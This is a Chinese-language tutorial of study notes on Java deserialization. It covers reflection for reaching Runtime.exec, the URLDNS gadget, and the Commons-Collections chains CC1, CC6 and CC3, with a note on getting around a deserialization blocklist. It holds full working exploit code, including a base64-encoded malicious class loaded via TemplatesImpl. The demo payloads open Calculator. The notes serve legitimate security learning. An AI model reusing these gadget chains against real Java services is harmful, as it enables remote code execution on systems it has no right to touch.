JAVA反序列化
把之前的笔记发一发.png
JAVA反序列化已经成了Java学习过程中不可避开的一部分了。
反射
getMethod
public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName).invoke(clazz.newInstance());
}
假设现在有这样一个demo代码。我们应该怎么利用达到想要的效果呢?
可以知道的是 forname 获取的是类方法 用invoke执行方法,用newInstance
实例化类对象 用getMethod获取函数
需要知道的是forname
获取类方法并不是唯一的
- obj.getClass() 如果上下⽂中存在某个类的实例 obj ,那么我们可以直接通过 obj.getClass() 来获取它的类
- Test.class 如果你已经加载了某个类,只是想获取到它的 java.lang.Class 对象,那么就直接 拿它的 class 属性即可。这个⽅法其实不属于反射。
- Class.forName 如果你知道某个类的名字,想获取到这个类,就可以使⽤ forName 来获取
在安全研究中,我们使⽤反射的⼀⼤⽬的,就是绕过某些沙盒。⽐如,上下⽂中如果只有Integer类型的 数字,我们如何获取到可以执⾏命令的Runtime类呢?也许可以这样
1.getClass().forName("java.lang.Runtime")
我们来写个demo试试这个反射吧
public class test {
public static void main(String[] args) throws Exception {
test test = new test();
test.execute("java.lang.Runtime","exec");
}
public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName,String.class).invoke(clazz.newInstance(),"open /System/Applications/Calculator.app");
}
}
这里我们利用forname获取Runtime类,之后获取下面的exec方法执行我们的计算器。其实运行后可以发现,这里执行失败了
为什么呢?
通过报错我们知道 runtime这个方法是private
的 私有化的构造方法怎么获取呢?我们可以通过 Runtime.getRuntime() 来获取到 Runtime 对象
知道了原理,来修改一下payload
public class test {
public static void main(String[] args) throws Exception {
test test = new test();
test.execute("java.lang.Runtime","exec");
}
public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName,String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"open /System/Applications/Calculator.app");
}
}
成功弹出了计算器
当然这里还有一些其他问题,比如
clazz.getMethod(methodName) --- > clazz.getMethod(methodName,String.class)
这里为什么需要添加String.class
其实这里根据的是调用方法的类型声明的
我们可以看到这里exec中6个重载
其中最简单的接受的是String类型的参数,所以这里需要输入一个String.class
第二个问题
clazz.getMethod(methodName,String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"open /System/Applications/Calculator.app");
为什么要在invoke里面套命令,其他地方凭啥不行呢?
我们正常执行方法是 [1].method([2], [3], [4]...)
,其实在反射里就是 method.invoke([1], [2], [3], [4]...)
。
所以我们将上述命令执行的Payload分解一下就是:
Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime, "calc.exe");
- 如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,我们怎样通过反射实例化该类呢?
- 如果一个方法或构造方法是私有方法,我们是否能执行它呢?
getConstructor
我们需要用到一个新的反射方法 getConstructor
。 和 getMethod
类似, getConstructor
接收的参数是构造函数列表类型,因为构造函数也支持重载, 所以必须用参数列表类型才能唯一确定一个构造函数。
比如,我们常用的另一种执行命令的方式ProcessBuilder
,我们使用反射来获取其构造函数,然后调用 start()
来执行命令:
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(List.class).newInstance(Arrays.asList("/System/Applications/Calculator.app/Contents/MacOS/Calculator"))).start();
ProcessBuilder有两个构造函数:
- public ProcessBuilder(List command)
- public ProcessBuilder(String... command)
我上面用到了第一个形式的构造函数,所以我在 getConstructor
的时候传入的是 List.class
。
但是,我们看到,前面这个Payload用到了Java里的强制类型转换,有时候我们利用漏洞的时候(在表达式上下文中)是没有这种语法的。所以,我们仍需利用反射来完成这一步。其实用的就是前面讲过的知识:
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(
Arrays.asList("/System/Applications/Calculator.app/Contents/MacOS/Calculator")));
通过 getMethod("start")
获取到start方法,然后 invoke
执行, invoke
的第一个参数就是 ProcessBuilder Object
了。
getDeclared
与普通的 getMethod
、 getConstructor
区别是
getMethod
系列方法获取的是当前类中的所有公共方法,包括从父类继承的方法。getDeclaredMethod
系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私 有的方法,但从父类里继承来的就不包含了
getDeclaredMethod
的具体用法和 getMethod
类似, getDeclaredConstructor
的具体用法和 getConstructor
类似
举个例子,前文我们说过Runtime
这个类的构造函数是私有的,我们需要用 Runtime.getRuntime()
来 获取对象。其实现在我们也可以直接用 getDeclaredConstructor
来获取这个私有的构造方法来实例 化对象,进而执行命令:
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "/System/Applications/Calculator.app/Contents/MacOS/Calculator");
可见,这里使用了一个方法 setAccessible
,这个是必须的。我们在获取到一个私有方法后,必须用 setAccessible
修改它的作用域,否则仍然不能调用。
URLDNS
我们可以根据ysoserial
来分析一下这个链子如何使用
在ysoserial
中,每条链子都注明了Gadget的路线,可以更好的理解其利用过程
我们知道这里是最终通过URL.hashCode()
触发的请求,我们写个demo看看其是怎么处理的
import java.net.MalformedURLException;
import java.net.URL;
public class test {
public static void main(String[] args) throws MalformedURLException {
String url = "http://i1fyw5.dnslog.cn";
URL URL = new URL(url);
URL.hashCode();
}
}
通过运行代码,可以发现成功触发了请求
具体看看发生了什么吧
跟进hashCode()
函数可以明显发现此处调用了
getHostAddress
方法获取host
的地址
从而触发了DNS请求。
知道了后半段,让我们来看看ysoerial
是怎么通过Hashmap调用到URL.hashCode的
通过hashmap的readobject调用 putVal
从而调用hash方法
而hash方法会调用传入key的hashCode方法
这里的key是new URL("xxxx")
后面的就是常规的URLDNS触发了。从而完成了http请求的触发
我们也可以不借助ysoserial来写一个URLDNS
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap hashmap = new HashMap();
URL url = new URL("http://79cu3s.dnslog.cn");
Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
filed.setAccessible(true);
filed.set(url, 209);
hashmap.put(url, 209);
filed.set(url, -1);
try {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashmap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
可以注意到这里通过反射获取URL的hashCode方法,使用hashmap put方法传值 从而完成序列化及反序列化过程
Commoncollections1
Commons-Collections
版本:3.1
需要注意的是 CC1 由于sun.reflect.annotation.AnnotationInvocationHandler
在8u71以上被重写了 导致该链只在JDK8u71以下生效
我们按照Ysoserial的Gadget来分析一下成因
先来学习一下这里用到的几种方法
前置知识
Transformer
需要注意到的是这里用了很多的Transformer
,那什么是Transformer
呢?
可以查一下org.apache.commons.collections.Transformer
通过ida识别到的各种接口 可以发现其提供了个transform()
方法,用来定义具体的转换逻辑,方法接收Object
类型的input
,处理后将Object
返回,在Commons-Collection
中,程序提供了多个Transformer
的实现类,用来实现不同的TransformedMap
类中key、value
进行修改的功能。
TransformedMap
而什么是TransformedMap
呢
TransformedMap
类可以在一个元素被加入到集合内时自动对该元素进行特定的修饰变换,在decorate()
方法中,第一个参数为修饰的Map
类,第二个参数和第三个参数作为一个实现Transformer
接口的类,用来转换修饰的Map
的键、值(为null
时不进行转换);因此,当被修饰的map
添加新元素的时候便会触发这两个类的transform
方法。
LazyMap
org.apache.commons.collections.map.LazyMap
与TransformedMap
类似,区别在于当LazyMap
调用get()
方法时如果传入的key
不存在,则会触发相应参数的Transformer
的transform()
方法。
补充一下:与LazyMap
具有相同功能的还有org.apache.commons.collections.map.DefaultedMap
,同样也是get()
方法会触发transform()
方法。当然这里因为cc依赖的问题 以后再说
ConstantTransformer
org.apache.commons.collections.functors.ConstantTransformer
是一个返回固定常量的Transformer
,在初始化时储存了一个Object
,后续的调用时会直接返回这个Object
,这个类用于和ChainedTransformer
配合,将其结果传入InvokerTransformer
来调用我们指定的类的指定方法。所以他的作用其实就是包装任意一个对象,在执行回调时返回这个对象,进而方便后续操作。
InvokerTransformer
阅读InvokerTransformer
的源码可知,其实现了Transformer接口的一个类,这个类可以用来执行任意方法,这也是反序 列化能执行任意代码的关键。
在实例化这个InvokerTransformer时,需要传入三个参数,第一个参数是待执行的方法名,第二个参数 是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:
通过回调transform方法,就是执行了input对象的iMethodName方法
ChainedTransformer
阅读源码可知其也是实现了Transformer接口的一个类,它的作用是将内部的多个Transformer串 在一起。通俗来说就是,前一个回调返回的结果,作为后一个回调的参数传入。
之后我们来倒着看看如何一步一步实现这个Gadget的
实现
首先我们先看看最后的部分
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
我们可以写个关于ChainedTransformer的demo来试试
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class ChainedTransformerDemo {
public static void main(String[] args) throws ClassNotFoundException{
// Transformer 数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
};
// ChainedTransformer 实例
Transformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("ChainedTransformerDemo");
}
}
看看都干了什么? 我们新建了个Transformer
数组,使用ConstantTransformer
获取到Runtime对象,使用InvokerTransformer
反射获取exec对象,最后执行命令
TransformedMap
因为TransformedMap
和LazyMap
都能触发该反序列化,我们先来看看TransformedMap
怎么实现的
可以先写个demo
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Transformedmap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx"); }
}
通过TransformedMap.decorate
方法来将ChainedTransformer
设置为map
装饰器的处理方法,调用TransformedMap
的put()/setValue()
等方法时会触发Transformer
链的调用方法。
然后我们分析一下完整的链子
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open /System/Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap =TransformedMap.decorate(innerMap,null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(invocationHandler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
利用TransformedMap
的decorate
方法来将ChainedTransformer
设置为map
装饰器的处理方法,调用TransformedMap
的put()/setValue()
等方法时会触发Transformer
链的调用方法。
寻找一个重写了readObject
的类,在反序列化时可以改变map
的值,定位到sun.reflect.annotation.AnnotationInvocationHandler
类,这个类实现了InvocationHandler
接口 (原本是用于JDK
对于注解形式的动态代理)。
AnnotationInvocationHandler
类的构造方法有两个参数,第一个参数是Annotation
实现类的Class
对象,第二个参数是一个key
为String
、value
为Object
的Map
,需要注意的是,构造方法会对var1
进行判断,当且仅当var1
只有一个父接口且为Annotation.class
时,才会将两个参数初始化在成员属性type
和memberValues
中。
接着看看AnnotationInvocationHandler
类重写的readObject
方法,首先调用AnnotationType.getInstance(this.type)
方法来获取type
这个注解类对应的AnnotationType
的对象,然后获取其memberTypes
属性,这个属性是个Map
,存放这个注解中可以配置的值,接着循环this.memberValues
这个Map
来获取其Key
,如果注解类的memberTypes
属性中存在与this.memberValues
的key
相同的属性,并且取得的值不是ExceptionProxy
的实例也不是memberValues
中值的实例,则取得其值并调用setValue
方法写入值。
根据上面的分析过程,构造Payload
的思路基本就没啥问题了。
[1] 构造 AnnotationInvocationHandler 实例,传入一个注解类和一个 Map,这个 Map 的 key 中要具有注解类中存在的属性并且值不是对应的实例和 ExceptionProxy 对象
[2] 这个 Map 用 TransformedMap 进行封装,并且调用自定义的 ChainedTransformer 进行装饰
[3] ChainedTransformer 中写入多个 Transformer 实现类来进行链式调用从而达到恶意操作
LazyMap
核心点在LazyMap#get
,LazyMap
在没有key
时会尝试调用this.factory.transform
方法,而this.factory
可以指定为Transformer
对象,而且transform
方法参数会被忽略掉,因此只需要寻找一个调用了LazyMap.get
的方法。
这里AnnotationInvocationHandler
类的invoke()
方法可以触发this.memberValues
来调用get
方法,从而触发LazyMap#get
。
那么如何调用到AnnotationInvocationHandler#invoke
呢?这里用到了java的对象代理
作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call ,我们需要用到 java.reflect.Proxy :
MapproxyMap=(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class}, handler);
Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要 代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。
sun.reflect.annotation.AnnotationInvocationHandler
,会发现实际上这个类实际就是个InvocationHandler
,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke
方法中,进而触发我们的LazyMap#get
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open /System/Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
调用过程
AnnotationInvocationHandler.readObject()
*Map(Proxy).entrySet()
*AnnotationInvocationHandler.invoke()
LazyMap.get()/TransformedMap.setValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
利用AnnotationInvocationHandler
在反序列化时会触发Map
的get/set
等操作,配合TransformedMap/LazyMap
在执行Map
对象的操作时会根据不同情况调用Transformer
的转换方法,最后结合了ChainedTransformer
的链式调用、InvokerTransformer
的反射执行完成了恶意调用链的构成,其中LazyMap
的触发还用到了动态代理机制。
Commoncollections6
Commons-Collections
版本:3.1
为什么要这么写呢?因为Commoncollections1 只能在低版本jdk利用 高版本怎么办呢? 当然是找一个新的链子啦
我们来看看Ysoserial的Gadget
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
和CC1相比,这里从LazyMap#get
后的调用方法均相同,也可以说,解决Java⾼版本利⽤,实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get() 的地⽅。
通过其Gadget 我们定位到了org.apache.commons.collections.keyvalue.TiedMapEntry
欲触发LazyMap利⽤链,要找到就是哪⾥调⽤了 TiedMapEntry#hashCode
前置知识
HashSet
HashSet
是一个无序的、不允许有重复元素的集合,本质上就是由HashMap
实现的,跟HashMap
一样,都是一个存放链表的数组,HashSet
中的元素都存放在HashMap
的key
上面,而value
中的值都是统一的一个private static final Object PRESENT = new Object();
,在HashSet
的readObject
方法中会调用其内部HashMap
的put
方法,将值放在key
上。
实现
ysoserial中,是利⽤ java.util.HashSet#readObject
到 HashMap#put()
到 HashMap#hash(key)
最后到 TiedMapEntry#hashCode()
。
实际上当阅读 java.util.HashMap#readObject
后中就可以找到 HashMap#hash()
的调⽤,省去了很多步骤
有了这些基础,我们就可以写出一个完整的Gadget了
当然 为了防止测试的过程中弹出多个计算器 简单的调整一下,构造LazyMap的时候先⽤了⼀个⼈畜⽆害的 fakeTransformers 对象,等最后要⽣成Payload的 时候,再把真正的 transformers 替换进去。
测试的时候会发现一个问题,为什么没有弹计算器呢?
通过debug 可以注意到一个问题
这里没有进入if
原因是匹配到了key的值
我们看下之前的代码,唯⼀出现 key的地⽅就是在 TiedMapEntry 的构造函数⾥, 但 TiedMapEntry 的构造函数并没有修改outerMap:关键点就出在 expMap.put(tme, "valuevalue");
这个语句⾥⾯。 HashMap的put⽅法中,也有调⽤到 hash(key)
这⾥就导致 LazyMap 这个利⽤链在这⾥被调⽤了⼀遍,解决⽅法也很简单,只需要将key这个Key,再从outerMap中移除即可: outerMap.remove("key") 。
所以最终的exp
package CC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class demo {
public static void main(String[] args) throws Exception{
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open /System/Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry TiedMapEntry = new TiedMapEntry(outerMap,"key");
Map hashMap = new HashMap();
hashMap.put(TiedMapEntry,"1");
// outerMap.remove("key"); //加上才能进入LazyMap#get方法
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
Commoncollections3
前置知识
Commons-Collections
版本:3.1
这里会单独拎出一篇文章讲一下
实现
CC3 是基于CC1修改的,而CC3实现的是加载任意字节码
了解了之前提过的用TemplatesImpl
加载字节码,我们就可以改改poc写出加载任意字节码的demo啦!
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACkxjYzEvZXZhbDsBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWBwAuAQAKU291cmNlRmlsZQEACWV2YWwuamF2YQwAHAAdBwAvDAAwADEBABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAyDAAzADQHADUMADYANwEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMADgAOQEACGNjMS9ldmFsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACAAJAAAAAAADAAEACgALAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAMAA4AAAAgAAMAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAEwAUAAIAFQAAAAQAAQAWAAEACgAXAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAPAA4AAAAqAAQAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAGAAZAAIAAAABABoAGwADABUAAAAEAAEAFgABABwAHQACAAwAAABMAAIAAQAAABYqtwABsgACEgO2AAS4AAUSBrYAB1exAAAAAgANAAAAEgAEAAAAEgAEABMADAAUABUAFQAOAAAADAABAAAAFgAPABAAAAAVAAAABAABAB4AAQAfAAAAAgAg");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
而我们去看ysoserial的源码 可以发现
这里的注释明确写出了不依赖InvokerTransformer进行反序列化 而我们一直在使用这个玩意进行各种反序列化
为什么呢?
SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的 类。在其发布的第⼀个版本代码中,我们可以看到其给出了最初的⿊名单:
这个黑名单直接把InvokerTransformer
限制的死死的,CommonsCollections3的目的很明显,就是为了绕过一些规则对InvokerTransformer的限制。 CommonsCollections3并没有使用到InvokerTransformer来调用任意方法,而是用到了另一个 类, com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 。
这个类的构造方法中调用了 (TransformerImpl) templates.newTransformer() ,免去了我们使用 InvokerTransformer手工调用 newTransformer() 方法这一步:
当然,缺少了InvokerTransformer,TrAXFilter的构造方法也是无法调用的。这里会用到一个新的 Transformer,就是 org.apache.commons.collections.functors.InstantiateTransformer 。 InstantiateTransformer也是一个实现了Transformer接口的类,他的作用就是调用构造方法。
所以,我们实现的目标就是,利用 InstantiateTransformer 来调用到 TrAXFilter 的构造方法,再利 用其构造方法里的 templates.newTransformer() 调用到 TemplatesImpl 里的字节码。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
替换进去也能成功触发,避免了使用InvokerTransformer
